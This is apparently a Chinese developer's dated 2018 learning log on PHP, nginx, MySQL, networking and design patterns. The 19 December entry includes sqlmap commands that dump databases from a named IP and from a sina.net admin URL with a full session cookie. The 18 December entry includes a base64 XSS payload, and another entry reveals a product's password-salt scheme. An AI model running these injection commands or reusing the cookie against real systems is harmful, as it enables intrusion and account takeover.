[PHP] 2018年终总结
去掉敏感信息后的不完整版
==========================================================================
2018年12月29日 记录:
目前在维护的最低php版本只有5.6了:
1.5.6.39版本
convert.quoted-printable-encode过滤器时核心的segfault错误
imap扩展的错误
phar扩展的错误,phardata类提供了一个访问和创建不可执行的tar和zip存档的高级接口
5.6.38版本
apache2的头信息transfer-encoding:chunked的xss bug
5.6.37版本
exif扩展修复了堆缓冲区溢出,exif扩展可以获取图像元数据
==========================================================================
2018年12月28日 记录:
mysqldump客户端逻辑备份程序,可以生成一组sql或csv,文本,xml
1.如果不使用--single-transaction选项,mysqldump至少需要select权限,show view,trigger和lock tables权限
2.对于大规模备份和还原,物理备份更合适,以原始格式复制数据文件,可以快速恢复
3.表主要是innodb表考虑使用mysql enterprise backup产品的mysqlbackup命令;主要myisam表,考虑使用mysqlhotcopy
4.mysqldump默认是逐行检索,要启用内存缓冲,使用--skip-quick,此时如果是大表内存会可能有问题
join语法,外部连接优化:
如果left join中on或using部分中的右表没有匹配的行,则将所有列设置为null的行用于右表。您可以使用此事实在表中查找在另一个表中没有对应项的行:
select left_tbl.*
from left_tbl left join right_tbl on left_tbl.id = right_tbl.id
where right_tbl.id is null;
==========================================================================
2018年12月27日 记录:
1.vscode配置php intellisense
左下角齿轮==>settings==>extensions==>php==>
{
"php.executablepath": "d:/phpserver/php70n/php.exe"
}
2.log_format记录post数据
log_format mail_test_log escape=json 'postdata= $request_body';
server {
access_log /var/log/nginx/default.access.log mail_test_log;
}
双引号会被转成\x22,escape=json可以解决
3.
nginx的内置变量
$time_local 格式化的时间
$request 请求地址
$status 响应码
$body_bytes_sent 传送页面的字节数
$http_referer 来源地址
$http_user_agent 客户端ua
$document_root 当前文件的目录绝对地址,比如:/var/www/html
$fastcgi_script_name 当前url的绝对地址,比如:/info.php
$request_filename 当前请求文件的绝对物理地址,基于root和alias指令,比如:/var/www/html/info.php
$http_cookie cookie信息
4.nginx的if判断语句
-e 文件或目录存在, !-e 文件或目录不存在,== 等值判断 , ~正则匹配返回true(区分大小写),~*正则匹配返回true(不区分大小写)
-f 文件是否存在,-x文件是否可执行
5.
nginx的path_info传递过来的参数,打印$_server
["php_self"]=>
string(17) "/index.php/232323"
["path_info"]=>
string(17) "/232323"
==========================================================================
2018年12月26日 记录:
1.linux都会将内存充分利用,将一些程序调用过的硬盘数据读入内存(buffer/cache);物理内存是真正的硬件提供的内存,虚拟内存是虚拟出的一块逻辑内存,被称为交换空间(swap space)
2.buffers和cached都是内存操作,保存系统曾经打开过的文件以及文件属性信息
3.buffers是缓冲块设备做的,只记录文件系统的元数据,cached是给文件内容做缓冲
比如用find查找后buffer大量增加;用cat读取文件后cached大量增加
4.内存释放: /proc是虚拟文件系统;可以通过修改他下面的文件作为与kernel实体间进行通信的手段
echo 3 >/proc/sys/vm/drop_caches
log_format指令:
"log_format" directive is not allowed here ,只能放在http块下,不能放在server块
==========================================================================
2018年12月25日 记录:
1.
socket_create ( int $domain , int $type , int $protocol )
domain:
af_inet基于ipv4的internet协议。
af_inet6基于ipv6的internet协议。
af_unix本地通信协议族。高效率和低开销使其成为ipc(进程间通信)的一种很好的形式。
type:
sock_stream(tcp字节流),sock_dgram(udp数据报),sock_raw(icmp的ping程序)
protocol:
sol_tcp,sol_udp
2.
getprotobyname()获取下各个协议对应的数字
/etc/protocols 在这也能看到对应的数字
ip:0 icmp:1 ggp:3 tcp:6 egp:8 pup:12 udp:17 hmp:20 xns-idp:22 rdp:27
3.vim在当前行迅速插入到下一行,普通模式下按o
4.php.ini中的variables_order参数egpcs (environment, get, post, cookie, and server),会影响这些变量$_server $_post, $_env, $_get, $_cookie
5.一个字符串中关键词会出现多次,我怎么才能做到替换关键词的时候 只替换一次,并且要随机位置;explode拆分开,随机拼新的字符串进去
6.mysql使用各种字符集存储数据,是一组符号和编码,排序规则是用于比较字符集中的字符的一组规则,并根据各种排序规则进行比较
==========================================================================
2018年12月24日 记录:
异步 api 的设计:
post /stars 直接返回成功和location字段返回查询进度的api
轮询 get /queue/12345,查询当前的进度
redis的hash:
1.hmset user:1000 username taoshihan birthyear 1991 verified 1 //设置hash中的多个域
2.hget user:1000 username //hget是取回单个域
3.hgetall user:1000 //hgetall取回所有域
4.hmget user:1000 username birthyear //hmget取回多个域
1.nginx unit是个动态应用程序和web服务器,可以在不中断服务的情况下完成部署配置更改,以多种语言运行代码
2.共享内存是常用的进程间通信,两个进程可以直接共享访问同一块内存区域。shared memory没有同步机制,需要自己协商处理
3.buildroot使嵌入式linux变得简单
==========================================================================
2018年12月21日 记录:
mysql native driver,mysqlnd是用c语言编写的php扩展。替代原来的(libmysqlclient)mysql client library
==========================================================================
2018年12月20日 记录:
1.mysql数据库的user表保存了所有mysql账号和密码
2.show grants可以查看所有赠予的权限,使用revoke可以撤销权限
grant all privileges on *.* to 'root'@'localhost' with grant option
grant proxy on ''@'' to 'root'@'localhost' with grant option
sql注入漏洞和代码中的输出有关
3.高位字节m、低位字节l:一个16位(双字节)的数据0x2211 22是高位字节 11是低位字节
32位的数据,比如 0x3f68415b 3f68是高位字节 4158是低位字节,这个数据被存到内存的时候有可能高位在前 高位优先 ,高位在后 低位优先
0x1234567的大端字节序是0123 4567,小端字节序是6745 2301
4.[^abc]正则是查找所有不在中括号之间的字符,那么[^ ]这个就是查找所有不是空格的字符
5.通过人工建立一个根目录,通常称为(chroot)jail,你可以从根本上阻止程序访问或者修改(可能是恶意的)文件以外的目录。
比如建立了这样的目录/home/sam/jail ,在jail用户看来,他就是/
6.将include的文件放在配置为拒绝web服务器访问的文件夹中
禁止非法引用的简单方式
<?php define('application', true); ?> <?php if (!defined('application')) exit; ?>
7.md5和sha1不适合密码,md5,sha1和sha256之类的散列算法设计得非常快速和高效很容易被人暴力反解,两个考虑因素是计算费用和盐
crypt()函数
==========================================================================
2018年12月19日 记录:
1.过滤shell命令中的特殊字符:
$a="`ifconfig`";
$a=escapeshellcmd($a);
$res=system($a);
var_dump($res);
shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
2.字节:存储容量的计量单位,一个字节等于8位,0x2211是十六进制是二进制0b00100010 00010001,两个8位也就是两个字节
3.mysql拆分字符串的函数+计算字符长度的函数
select length(substring_index(path,"/",5)) from user;
5.
sqlmap.py -u "http://115.159.28.111/test/db.php?id=1" --batch --tables //列出所有的表
sqlmap.py -u "http://115.159.28.111/test/db.php?id=1" --batch --schema //列出所有表的表结构
sqlmap.py -u "http://115.159.28.111/test/db.php?id=1" --batch -d pan --dump -t drama //获取表的数据
//设置cookie请求
sqlmap.py -u "http://entadmin.sina.net/control/mg_mlist.php?flag=1&id=&act=&flag=1&pagecount=20&pagetotal=&findval=2&findfld=findemail" --batch --tables --cookie "d=1; modewindow=print; language=cn; mon=0; quotasize=10485760; sina_user=tony72%40luobo.sina.net; sprial=b75abf80646ade46aabf8118653bb541; hpid=c6mtlb-rh1tylzsmzvsk6vsy9yd_55txp6d79uamete_ltax5tb-vud05yr_9t1nzic0vub05y-aildnvud79uamete_lta05l1j5kd_yu1nftfye41nftfye4vnwzd_purntpdmltdm9y; sid=bbhkrkczcwcmzlsed5lstbt.%2154e.qluet4u8%40klb%214de88zetce48t.t4.44cizrssl7-m47rdkll45szsezezk7tzk4; sn=nwzd_purntpdmltdm9yc6mtlb-6om1nftfye4v; phpsessid=drcmfmv0truar5njqihhcmc627; __guid=216626370.578084966931658100.1545201942810.3057; monitor_count=1"
==========================================================================
2018年12月18日 记录:
1.
xss攻击一个常用的方法就是注入html元素执行js脚本,前端展示时进行过滤
<object data="data:text/html;base64,phnjcmlwdd5hbgvydcgisgvsbg8ikts8l3njcmlwdd4=">
3.
in_array ( mixed $needle , array $haystack [, bool $strict = false ] )
第三个参数是true,就检测类型,否则不检测
4.array_flip — 交换数组中的键和值,返回一个反转后的 array,例如 array 中的键名变成了值,而 array 中的值成了键名。
$arr=array_flip($haystack);
if ( isset($arr[$needle]) ) 判断是否存在在数组中
5.array_map — 为数组的每个元素应用回调函数
因为in_array不区分大小写,所以使用这个对数组的所有元素转成小写
return in_array(strtolower($needle), array_map('strtolower', $haystack));
2019年2-7~9 阳光php峰会
api开发;中间件;安全;区块链;devops;渐进式web应用程序(pwa);持续交付;数据库;
javascript ;php核心;单元测试;ui / ux;异步php;可扩展性;团队开发
==========================================================================
2018年12月17日 记录:
htmlentities — 将字符转换为 html 转义字符,对所有html实体转义
htmlspecialchars只是对 < > " ' &进行转义
==========================================================================
2018年12月14日 记录:
查询45天以前没有登录的邮箱:
strtotime('-45day')
mysql输入查询:
select version(), current_date;
php mysql查询超内存:
$db->setattribute(pdo::mysql_attr_use_buffered_query, false);不缓存结果
$sql = "select * from ent_lastlogin "
. "where time <'2018-10-30'";
$uresult = $db->query($sql);
if ($uresult) {
while ($r = $uresult->fetch(pdo::fetch_assoc)) {}
==========================================================================
2018年12月13日 记录:
1.path_info是一个cgi 1.1的标准,不要误解为nginx的功能
2.php对该标准进行了支持,php中有两个pathinfo,环境变量$_server['path_info'];pathinfo() 函数
3.pathinfo() 函数以数组的形式返回文件路径的信息,先不管它
4.nginx的配置项是对$_server['path_info]值进行设置,如果不配置默认是没有的
5.因为路径部分是这样的index.php/111,所以location ~ \.php {} 把php后面的$必须以php结尾去掉
6.传递path_info参数:
fastcgi_param path_info $fastcgi_path_info; 此时
["php_self"]=>string(3) "nfo"
["path_info"]=>string(3) "nfo"
7.
fastcgi_split_path_info ^((?u).+.php)(/?.+)$;此时
["path_info"]=>"/111"
["php_self"]=>"/index.php/111"
8.重写隐藏index.php,如果请求的是文件名才重写
if (!-e $request_filename) {
rewrite ^/(.*)$ /index.php/$1 last;
break;
}
此时:
["path_info"]=>"/111"
["php_self"]=>"/index.php/111"
gnu awk 的用户指南
==========================================================================
2018年12月12日 记录:
调试nginx rewrite
1.rewrite_log on;会发送相关notice日志到error_log的文件里
2018/12/12 11:09:58 [notice] 10987#10987: *1 "info.html" matches "/info.html", client: 218.30.113.42, server: 115.159.28.111, request: "get /info.html http/1.1", host: "115.159.28.111"
2018/12/12 11:09:58 [notice] 10987#10987: *1 rewritten data: "/info.php", args: "", client: 218.30.113.42, server: 115.159.28.111, request: "get /info.html http/1.1", host: "115.159.28.111"
2.设置error_log的日志级别为debug
3.只记录自己的ip
events {
debug_connection 1.2.3.4;
}
凡人皆有一死 ,凡人皆须侍奉
动不动就觉得一年比一年差的,是因为你年龄一年比一年大了,越来越需要钱了,偏偏发现财富*离自己太远。
回到刚毕业的时候,就算变天了你还会觉得很兴奋,百度一下“行业寒冬”,你就就会发现2014、2015、2016、2017、2018年年都寒冬。哪年不过冬了?哪年各位的薪资没涨的?哪年各位生活质量有下降的?
==========================================================================
2018年12月11日 记录:
postfix配置测试smtp
修改 /etc/postfix/transport
然后执行 postmap /etc/postfix/transport,
再执行postfix reload
1.php开发团队宣布即将推出php 7.0.33。此版本中修复了五个与安全相关的问题。
善恶的彼岸,当你凝视深渊时,深渊也在凝视着你。凡不能毁灭我的,必使我强大。
2.php的imap扩展安装 apt-get install php-imap
版本7.0.33 18年12月6日
核心:修复了错误#77231(使用convert.quoted-printable-encode过滤器时的segfault错误)。
imap:修正了错误#77020(imap_mail中的空指针取消引用)。
修复了错误#77153(imap_open允许通过mailbox参数运行任意shell命令)。
phar:修复了错误#77022(phardata始终使用模式0666创建新文件)。
修复了phar_parse_pharfile中的错误#77143(堆缓冲区溢出(read:4))。
3.为了快速处理静态数据集,例如服务器名称,映射指令的值,mime类型,请求头字符串的名称,nginx使用哈希表。
4.access_log syslog:server=[2001:db8::1]:12345,facility=local7,tag=nginx,severity=info combined;配置nginx日志到syslog
==========================================================================
2018年12月10日 记录:
讲清楚技术方案:
1.介绍需求背景
2.介绍整体技术方案
3.介绍协议和库表结构
fpm:fastcgi process manager 是一种替代的php fastcgi实现,对于负载较重的站点非常有用。
1.先进的进程控制,优雅的停止启动
2.能够使用不同的uid/gid/chroot/environment启动worker,使用不同的php.ini,监听不同的端口
3.stdout stderr日志记录
4.opcode cache破坏的情况下紧急重启
5.加速上传支持
6.slowlog慢日志记录脚本,可以记录php跟踪和远程进程的execute_data, ptrace或者类似工具读取和分析
7.fastcgi_finish_request()刷新所有数据,当在做耗时操作的时候,比如视频转换和统计处理,在fastcgi_finish_request()之后,该脚本仍将占用fpm进程。因此,对于长时间运行的任务过度使用它可能会占用所有fpm线程,直到pm.max_children
8.动态静态子进程产生
9.基础的spai状态,基于php.ini的配置文件
php-fpm开启慢查询日志:
/etc/php/7.0/fpm/pool.d/www.conf
slowlog = /var/log/php-fpm-$pool.log.slow
request_slowlog_timeout = 5
1.mysql服务器支持200,000个表和大约5,000,000,000记录,每个表最多支持64个索引。每个索引可以包含1到16列或部分列。 innodb表的最大索引宽度为767字节或3072字节
2.mysqldump和mysqladmin,以及图形程序,如mysql workbench。 mysql server内置支持sql语句来检查,优化和修复表。通过mysqlcheck客户端获得。 myisamchk,这是一个非常快速的命令行实用程序,用于在myisam表上执行这些操作。
3.mysql8.0 mysql系统数据库中的授权表现在是innodb(事务)表,可以回滚。以前,是myisam(非事务)表
4.caching_sha2_password身份验证插件,实现了sha-256密码散列,使用缓存来解决延迟问题
5.mysql现在支持角色,这些角色被命名为特权集合
6.mysql现在维护有关密码历史的信息,从而限制了以前密码的重用
==========================================================================
2018年12月7日 记录:
nginx可以用信号控制:
kill -s hup 8587 将hup信号发送到主进程,使用新配置启动新的工作进程,正常关闭旧工作进程,即打开日志文件和新的侦听套接字。
kill -s usr2 8587 即时升级可执行文件
导入群发列表时有^m特殊字符:
$outemail=(string)trim($outemail); 强制转一下
1.vmstat指令查看操作系统每秒进程切换的次数。system-- -----in 每秒中断;cs 每秒上下文切换 数量
2.pcntl没有提供进程间通信的功能
pcntl不支持重定向标准输入和输出
pcntl只提供了fork这样原始的接口,容易使用错误
==========================================================================
2018年12月6日 记录:
rup:统一软件开发过程,面向对象基于网络的程序开发方法论
uml:统一建模语言
oo设计的基本原则
单一原则:一个类只做一件事
开闭原则:对扩展开放,对修改关闭
里式替换:子类必须能够替换所有父类的使用
依赖倒置:设计依赖于抽象而不是实现
最少知识:对象应当尽可能少的去了解其他对象
接口隔离:接口倾向于小而多
组合优先:优先使用类的组合而不是继承
ooa面向对象分析 ood面向对象设计 oop面向对象编程
构造型设计模式:
单例模式,抽象工厂模式,构造者模式,原型模式,工厂方法模式
单例:
私有化构造方法
通过静态方法创建并保持对象
注意实例化方法需要线程安全
private static $instance;private function __construct(){}
public static function getinstance(){
if(self::instance==null) self::instance=new self();
return self::instance;
}
适用场景:类的对象全局唯一,节约频繁创建对象的资源开销,单例类必须是无状态的
抽象工厂模式:
使用与实现分离,调用方只依赖于业务逻辑接口,与具体实现无关
剥离调用者和实现的耦合,应对变化,典型案例:jdbc api & driver
interface userrepository{}
interface repositoryfactory{public function createuserrepository()}
class mysqlrepositoryfactory implements repositoryfactory{}
class mysqluserrepositoryfactory implements userrepository{}
构造者模式:
用于创建一个复杂对象,一个对象需要依赖于大量外部对象或者其他设置参数,通过构造方法创建太复杂
对象的创建非常复杂,总是需要很多配置和预先创建其他对象
class query{}
class querybuilder{ return $this}
(new querybuilder())->addselect()->addwhere()->build()->getresult();
==========================================================================
2018年12月5日 记录:
stream_get_meta_data - 从流/文件指针中检索标头/元数据
返回结果:timed_out (bool)如果流在等待最后一次调用fread()或fgets()时的数据时超时,则为true。
1.lvs可以使用ip负载平衡技术或应用级负载均衡技术。通过透明地添加或删除集群中的节点来实现系统的可伸缩性。
2.ipfw是比较老的linux内核版本提供的防火墙软件包,ipchains替代ipfwadm,提供了更为严格的包过滤控制机制,iptables是一个管理内核包过滤的工具
3.基于dns的负载均衡,不合适,不平衡,因为有ttl时间的存在,会有段时间每个用户固定访问某个ip
4.基于调度程序的负载均衡,分为两个级别 应用级和ip级,应用级比如分配http到集群,当负载很高时,应用级将会成为新的瓶颈.ip级的开销很小
5.有三种负载方法nat(网络地址转换),tun(ip隧道),dr(直接路由);nat和fullnat的区别是解决了跨虚拟局域网的问题
=========================================================================
2018年12月4日 记录:
1.lvs:linux virtual server linux虚拟服务器,是一组服务器,核心是ip_vs代码, 运行在lvs director,director是一个四层交换,相当于一个路由器,接收客户端请求分配给后端realservers服务器
2.网络地址转换(nat):内网的主机想通过互联网被外网访问,需要进行网络地址转换;从一组地址到另一组叫n-to-n静态网络地址转换;当映射是m-to-n m>n时是动态网络地址转换;网络地址端口映射是nat的一个扩展,在这里很多的地址和端口被映射到单个地址和端口,n-to-1的映射
==========================================================================
2018年12月3日 记录:
1.dns服务器的ip地址:cat /etc/resolv.conf
2.dns的通信过程:
tcpdump -i eth0 -s 0 -n -l port 53
10:44:10.203166 ip 10.105.38.204.47751 > 10.236.158.114.53: 44627+ a? www.huiful.com. (32)
我的ip地址10.105.38.204端口47751向dns服务器的10.236.158.114端口53发送请求
44627是我这个请求的标识,+代表启用递归查询,a?表示a类型的查询,32代表dns查询报文长度
3.dns的响应
10:44:10.203634 ip 10.236.158.114.53 > 10.105.38.204.47751: 44627 1/0/0 a 123.207.167.115 (48)
44627和请求对应,1/0/0 1个应答资源 0个授权记录 0个额外信息记录 a记录ip地址 48是报文长度
host -t a www.baidu.com的dns查询过程:
ip 10.105.38.204.39732 > 10.236.158.106.53: 11431+ a? www.baidu.com. (31)
ip 10.236.158.106.53 > 10.105.38.204.39732: 11431 3/0/0 cname www.a.shifen.com., a 115.239.210.27, a 115.239.211.112 (90)
4.tcp协议更靠近应用层,因此在程序中有更强的互操作性,一些socket选项都和tcp有关
5.tcp头部信息,tcp状态转移过程,tcp数据流(交互数据流,成块数据流,紧急数据),tcp数据流的控制(超时重传,拥塞控制)
6.tcp协议通信必须先建立连接,连接是双全工的,双方的数据读写通过一个连接进行,交换完成后,都必须断开连接.
7.tcp的连接是一对一的,因此基于广播和多播(目标多个主机)的程序不能使用,udp非常适合广播和多播
8.字节流服务:发送端执行多次写操作,tcp模块先放入发送缓冲区,真正发送时可能被封装成一个或多个tcp报文段发出;接收端先放入tcp接收缓冲区,然后再一次或多次读出,用户指定的程序读缓冲区的大小
9.udp是数据报服务:发送端每发送一个,接收端就要接收一个
10.tcp头部结构:指定源端端口,目的端端口,管理tcp连接
门诊系统:
electron vue vuex 界面就是elementui
360浏览器侧边翻译插件
==========================================================================
2018年11月30日 记录:
1.icmp协议并非完全意义上的网络层协议,它使用同一层的ip协议提供的服务
2.传输层提供端到端(end to end)通信,只关心起始端和目的端,与网络层使用逐跳不同
3.tcp协议为应用层提供可靠的面向连接的基于流的服务,使用超时重传,数据确认保证可靠性,基于流的数据没有长度边界限制,源源不断流入,读出
4.udp提供不可靠,无连接,基于数据报的服务
5.dns协议即使用了tcp服务,又使用了udp服务,/etc/services可以看到知名应用层协议,使用了哪些传输层协议
6.封装,协议栈依次从上往下传递,每经过一层就加上自己的头部信息,tcp封装后的有tcp头部信息,tcp内核缓冲区,共同构成了tcp报文段
7.数据链路层封装的称为帧,以太网上的叫以太网帧,令牌环网络上的则是令牌环帧
8.分用,协议栈自底向上依次传递
9.arp协议可以将网络层地址到任意物理地址转换,从ip地址到mac地址转换
10.arp高速缓存,把经常访问的机器的ip地址到物理地址的映射缓存起来,避免了重复的arp请求
pcre(perl compatible regular expressions)是一个perl库,包括 perl 兼容的正则表达式库。
==========================================================================
2018年11月29日 记录:
php default_socket_timeout配置:
控制file_get_contents的超时时间
stream_socket_client ( string $remote_socket [, int &$errno [, string &$errstr [, float $timeout = ini_get("default_socket_timeout") [, int $flags = stream_client_connect [, resource $context ]]]]] )
timeout
number of seconds until the connect() system call should timeout.
1.从单页应用(spa)到服务器渲染(ssr)
2.编译器原理和技术涉及到程序设计语言,计算机体系结构,语言理论,算法,软件工程
3.编译器是一个程序,将某种语言(源语言)编写的程序翻译成一个与之等价的另一种语言(目标语言)编写的程序,翻译的过程中可以报告错误,编译器的早期工作集中在如何把算数表达式翻译成机器代码
==========================================================================
2018年11月28日 记录:
1.网络编程:通过计算机网络与其他程序通信,相互通信的程序中一方为client,一方为server
2.两种网络编程api:socket和xti,at&t(美国电话电报公司)传输层接口tli进行修改的产物
3.usenet新闻组就是论坛,ansi c是美国国家标准组织(ansi)和国际标准组织iso推出的c语言标准
4.c语言标准化:ansi c==>c89,c90差不多是一个==>c99==>c11
5.posix可移植操作系统接口,定义了操作系统应该为程序提供的接口标准,系统调用和库函数只是实现上的细节不同,通常对开发人员是透明的
6.ipv6:互联网工程任务组设计的新版本ip协议,号称可以为每一粒沙子编上网址,ipv6长度128b,表示方法有,冒分十六进制,0位压缩表示法,内嵌ipv4地址表示法
7.web和服务器通信使用应用协议http,在传输层使用tcp协议,tcp又使用了网络层ip协议,ip则使用了某种数据链路层通信
8.两个不同局域网的客户和服务器,使用路由器router连接到广域网的,最大的广域网是因特网
print_r(01234==1234) false,0开头是八进制,0x开头是十六进制,0b开头是二进制
yigoubao的密码规则:md5(md5($password) . 'yoshop_salt_smtrx')
php -r "echo md5(md5('admin123') . 'yoshop_salt_smtrx');"
==========================================================================
2018年11月27日 记录:
企管系统个性登录页左侧菜单无法点击:
查找样式问题,在审查元素里挨个删除html元素,就能查询到影响的div,进而定位到css
域名反向解析即从ip地址到域名的映射:
系统提供一个特别域,该特别域称为逆向解析域
企管nginx改造:
==========================================================================
2018年11月26日 记录:
系统开发统计读取阿里云的使用情况:
swoole的三种运行模式:base模式,线程模式,进程模式
io:bio阻塞io;nio非阻塞io,同步io;异步io
io组合:同步阻塞io;同步非阻塞io;异步阻塞io;异步非阻塞io
io操作:发起io请求;实际io操作
阻塞和非阻塞区别:第一步发起io请求是否会被阻塞
同步和异步区别:第二步实际io读写是否会被阻塞
bio:
while true
accept
多线程处理读写
php之道:https://laravel-china.github.io/php-the-right-way/
__set是个不存在的属性赋值,两个参数__set($k,$v),属性名和属性值
__get读取不存在属性时
$obj->test="aaa", __set("test",'aaa'),属性中放个数组,arr["test"]="aaa"
echo $obj->test ,__get("test"),arr["test"]
==========================================================================
2018年11月23日 记录:
==========================================================================
2018年11月22日 记录:
declare 结构用来设定一段代码的执行指令。declare 的语法和其它流程控制结构相似:
是一个在 declare 代码段中解释器每执行 n 条可计时的低级语句就会发生的事件
declare(ticks=1);
php进行信号管理,第二个参数是回调函数:
pcntl_signal(sigusr1, "sig_handler");
给进程发送信号:
posix_kill ( int $pid , int $sig )
1.curl post数据:
curl "http://120.78.219.34:8018/accountapi/getsms" -d "tel=18812341234"
2.ab -r遇到socket错误时跳过
kill -l:linux进程的所有信号
==========================================================================
2018年11月21日 记录:
1.is_object — 检测变量是否是一个对象
2.依赖注入,两个类依赖的时候,需要构造函数里传进去,构造函数注入
3.控制反转(ioc)是一种思想,依赖注入(di)是实施这种思想的方法。
4.工厂模式注入,原本a类依赖b类和c类,现在变成了a依赖factory,factory依赖b和c。
5.高层模块不应该依赖于底层模块,两个都应该依赖抽象。抽象不应该依赖于细节,细节应该依赖于抽象
6.1、iaas(基础设施即服务:infrastructure as a service)
2、paas(平台即服务:platform as a service)
3、saas(软件即服务:software as a service)
7.glusterfs 分布式文件系统
==========================================================================
2018年11月20日 记录:
sendid,mid
php魔术方法:
__construct()[构造], __destruct()[析构], __call()[调用不存在的方法], __callstatic()[调用不存在的静态方法],
__get()[获取不存在属性的值], __set()[为不存在属性赋值调用],
__isset()[isset不存在的属性], __unset()[unset不存在的属性], __sleep()[序列化对象的时候], __wakeup()[反序列化对象的时候], __tostring(), __invoke(), __set_state(), __clone() 和 __debuginfo()
1.file_put_contents — 将一个字符串写入文件,lock_ex 在写入时获得一个独占锁。
读取时需要解锁
$myfile=fopen('test.txt','rt');
flock($myfile,lock_sh);
$read=file_get_contents('test.txt');
2.php-aop扩展,面向切面编程,非侵入式的编程方法aop_add_after()函数的使用
==========================================================================
2018年11月19日 记录:
1.企邮日发信量100万,计划每天或每周一张表,根据sendid后面的日期进行对应
2.在读信接口里增加sendid字段
2.给前端定义一个接口,maildeliverystatus,只有已发送的邮件读信时会去调,把sendid传给我
3.我要拿着sendid去查表然后直接返回对应数字
c10k问题:单机一万并发连接问题
1.如果一个连接就创建一个进程或线程,资源消耗巨大
2.异步模式select/poll模型,select最大不能超过1024,poll没有限制但是每次收到数据都要遍历连接查看哪个连接有数据请求
3.epoll依赖linux,只返回状态变化的文件句柄,不会去遍历,效率更高了
4.libevent对事件接口进行了封装
5.协程,c语言中的coroutine,go语言中的goroutine,在少量线程的基础上进行调度
测试:单元测试,api测试,性能测试,持续集成,灰度发布
单元测试:人为规定的最小的被测功能模块,c语言是一个函数,java是一个类,图形软件是一个窗口
api测试:定位是服务对外输出的接口测试,偏重业务测试
性能测试:单接口压测和模拟用户行为的压测,ab压测,wrk压测;loadrunner,jmeter
ubuntu用户创建的目录下用root创建文件,ubuntu用户可以删除但是不能编辑覆盖
==========================================================================
2018年11月16日 记录:
100亿的文件统计ip的个数:
我设计一个简单的哈希函数是 f(ip) = ip % 10000,(ip 是个32位整数) 那么 5 % 10000 = 5,不管 5 在哪个地方 5 % 10000 的结果都是 5,这就保证了相同的 ip 会被放在同一个子文件中,方便统计,相同的元素经过同一个哈希函数,得出的哈希值是一样的。 那么我把100亿个 ip,都进行 ip % 10000 的操作,就完成了 100gb 文件分解成 10000个子文件的任务了。当然实际中哈希函数的选取很重要,尽量使得元素分布均匀,哈希冲突少的函数才是最好的。
10mb 的小文件里面存着很多 ip,他们虽然是乱序的,但是相同的 ip 会映射到同一个文件中来! 那么可以用二叉树统计出现次数,二叉树节点保存(ip, count)的信息,把所有 ip 插入到二叉树中,如果这个 ip 不存在,那么新建一个节点, count 标记 1,如果有,那么把 count++,最终遍历一遍树,就能找出 count 最大的 ip 了
3.设计api问题
4.如何防止扫密码
5.get和post的安全性问题和区别,长度的限制问题
6.
(1)http协议并未规定get和post的长度限制
(2)get的最大长度限制是因为浏览器和web服务器限制了url的长度
7.如果一直用同一个错误密码,只计算一次,不会当成扫号。ip也不变的情况下
8.变量名随机
创建一个jwt token,里面绑定随机码
通过加密算法产生变量名
账号密码token一起传后台
9.动态平台在对北显七层配置进行灰度变更时,由于nginx服务端口配置文件引用错误,导致七层流量分流错误,财经、邮箱等业务数据返回异常
==========================================================================
2018年11月15日 记录:
1.mysql的批量更新用法 case when
update `post` set
`parent_id` = case `id`
when '1' then '100'
when '2' then '100'
end,`title` = case `id`
when '1' then 'a'
when '2' then 'a'
end where `id` in ('1','2','3','4','5')
2.mysql提示“too many connections” ,sleep的连接太多了
mysql配置文件/etc/my.cnf,设置成max_connections=1000,wait_timeout=5
3.mysql server has gone away和wait_timeout有关系.两次sql执行间隔时间太长
所以在new pdo的时候,要根据wait_timeout的值判断,大于的就重新new,不大于的就单例返回
4.yield的生成器使用,每次只读一行数据,内存中始终只占一行数据
function readtxt(){
$handle = fopen("./test.txt", 'rb');
while (feof($handle)===false) {
yield fgets($handle);
}
fclose($handle);
}
foreach (readtxt() as $key => $value) {
echo $value.'<br />';
}
==========================================================================
2018年11月14日 记录:
nginx改造:
1./mnt/entmail/webapp目录权限和nginx执行用户权限
3.php.ini 设置upload_tmp_dir="/temp"
cron的日志位置/var/log/cron
开启cron日志:
vim /etc/rsyslog.d/50-default.conf
cron.* /var/log/cron.log
1.epoll是poll的改进版,在高并发下能同时处理大量文件描述符,nginx使用了
2.poll是监控资源是否可用,轮询整个文件描述符集合,例如在多个socket连接建立后,可以知道哪些连接发了请求,与select比不会清空文件描述符
3.epoll只会查询被内核io事件唤醒的集合,只有发生io的socket会调用callback函数
4.文件描述符,一切皆文件网络是文件键盘是文件,像写文件那样传输网络数据,通过/proc/的文件看到进程的资源使用情况
5.
==========================================================================
2018年11月13日 记录:
file upload error - unable to create a temporary file
设置upload_tmp_dir="/temp" 然后重启环境就可以了,如果还不行就去看看文件夹的权限是否有权限,赋予写入权限就好了
nginx的请求处理:
1.worker进程中有个函数,无限循环,不断处理收到的客户端请求,并进行处理
2.系统提供的事件处理机制(select/epoll/kqueue)
3.接收数据,初始化http request ,处理请求头请求体
4.读取配置文件进行处理阶段,location rewrite filter等
5.产生响应发送给客户端
php调用这个库的应该都是短链接,然后这样是否也会发生切换过程中,数据写到老库,没有同步到新库的情况
短链接是不会发生这种情况
==========================================================================
2018年11月12日 记录:
nginx 的特点:
1.处理静态文件
2.反向代理加速
3.fastcgi,简单的负载均衡和容错
4.模块化的结构
5.分阶段资源分配技术,使得它的 cpu 与内存占用率非常低,保持 10,000 个没有活动的连接,它只占 2.5m 内存
6.支持内核 poll 模型,能经受高负载的考验,有报告表明能支持高达 50,000 个并发连接数
7.采用 master-slave 模型,能够充分利用 smp 的优势,且能够减少工作进程在磁盘 i/o 的阻塞延迟。当采用 select()/poll() 调用时,还可以限制每个进程的连接数
8.强大的 upstream 与 filter 链,有点像 unix 的管道
9.采用了一些 os 提供的最新特性如对 sendfile (linux2.2+),accept-filter (freebsd4.1+),tcp_defer_accept (linux 2.4+)的支持
nginx 架构:
1.默认采用多进程后台模式启动,可以手动配置成单进程前台模式用于调试,进程数一般和cpu内核数相同,太多进程会导致竞争cpu资源,带来不必要的上下文切换
2.发送kill -hup pid的信号给master进程,master进程会从新加载配置文件,启动新的worker进程,退出老的worker进程,也是-s reload所做的
3.在master进程建立好需要listen的 socket,然后fork出子进程,子进程抢accept_mutex的互斥锁,抢到的子进程进行 accept处理
4.每个子进程采用异步非阻塞事件处理, select/poll/epoll/kqueue的系统调用,设置超时时间,当事件没准备好时,放到 epoll 里面,事件准备好了,我们就去读写,当读写返回 eagain(再试一次)时,我们将它再次加入到 epoll 里面,线程还是只有一个,在请求间进行不断的循环切换,这里的切换没有代价,只要内存够大就行
